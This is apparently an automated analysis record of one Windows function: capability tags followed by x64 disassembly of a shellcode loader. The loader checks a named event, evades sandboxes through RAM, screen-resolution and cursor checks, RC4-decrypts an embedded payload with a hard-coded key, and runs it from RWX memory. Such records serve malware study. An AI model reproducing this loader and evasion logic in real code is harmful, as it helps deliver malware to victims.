Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Get memory capacity

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rbp + 0x190], rax
lea r9, [0x140015640]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetEvent]
test rbx, rbx
je 0x14000105c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400013a2
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x38]
xor ecx, ecx
shr rax, 0x14
cmp eax, 0x2000
jb 0x140001394
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movdqa xmm0, xmmword [0x140015780]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x140015770]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], 0x280
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x54], 0x1e0
nop dword [rax]
cmp ebx, dword [rcx]
jne 0x1400010dd
cmp eax, dword [rcx + 4]
je 0x1400013a2
add rcx, 8
lea rdx, [rsp + 0x58]
cmp rcx, rdx
jne 0x1400010d0
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
cmp dword [rsp + 0x20], 0
jne 0x140001108
cmp dword [rsp + 0x24], 0
je 0x14000139a
mov qword [rsp + 0x2b0], rsi
lea rcx, [rbp + 0x70]
mov esi, 2
mov qword [rsp + 0x2b8], rdi
mov eax, esi
lea rdx, [0x140015650]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001130
mov eax, dword [rdx + 0x10]
mov r10, 0xffffffffffffffff
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
mov eax, dword [str.secret]
mov dword [rsp + 0x20], eax
movzx eax, word [0x14001576c]
mov word [rsp + 0x24], ax
movzx eax, byte [0x14001576e]
mov byte [rsp + 0x26], al
lea rax, [rsp + 0x20]
inc r10
cmp byte [rax + r10], 0
jne 0x1400011c4
xor r8d, r8d
lea rcx, [rsp + 0x70]
mov eax, r8d
nop dword [rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jl 0x1400011e0
mov r9d, r8d
lea rbx, [rsp + 0x70]
mov r11d, r8d
nop word [rax + rax]
movzx edi, byte [rbx]
xor edx, edx
mov eax, r11d
div r10d
movzx eax, byte [rsp + rdx + 0x20]
add r9d, eax
add r9d, edi
and r9d, 0x800000ff
jge 0x14000122c
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea rcx, [rsp + 0x70]
add rcx, rax
inc r11d
movzx eax, byte [rcx]
mov byte [rbx], al
inc rbx
mov byte [rcx], dil
cmp r11d, 0x100
jl 0x140001200
mov edx, r8d
lea rbx, [rbp + 0x70]
mov edi, 0x116
nop word [rax + rax]
inc r8d
and r8d, 0x800000ff
jge 0x140001279
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea r10, [rsp + 0x70]
add r10, rax
movzx r11d, byte [r10]
add edx, r11d
and edx, 0x800000ff
jge 0x14000129d
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x70]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r10], al
mov byte [rcx], r11b
movzx ecx, byte [r10]
add rcx, r11
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x70]
xor byte [rbx], cl
inc rbx
sub rdi, 1
jne 0x140001260
mov edx, 0x116
lea r9d, [rdi + 0x40]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, qword [rsp + 0x2b8]
lea rdx, [rbp + 0x70]
mov r8, rax
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x140001300
mov eax, dword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
call r8
mov rsi, qword [rsp + 0x2b0]
xor eax, eax
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400013c0
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x2a0
pop rbp
ret
call fcn.140003724
int3
xor ecx, ecx
call fcn.140003724
int3
xor ecx, ecx
call fcn.140003724
int3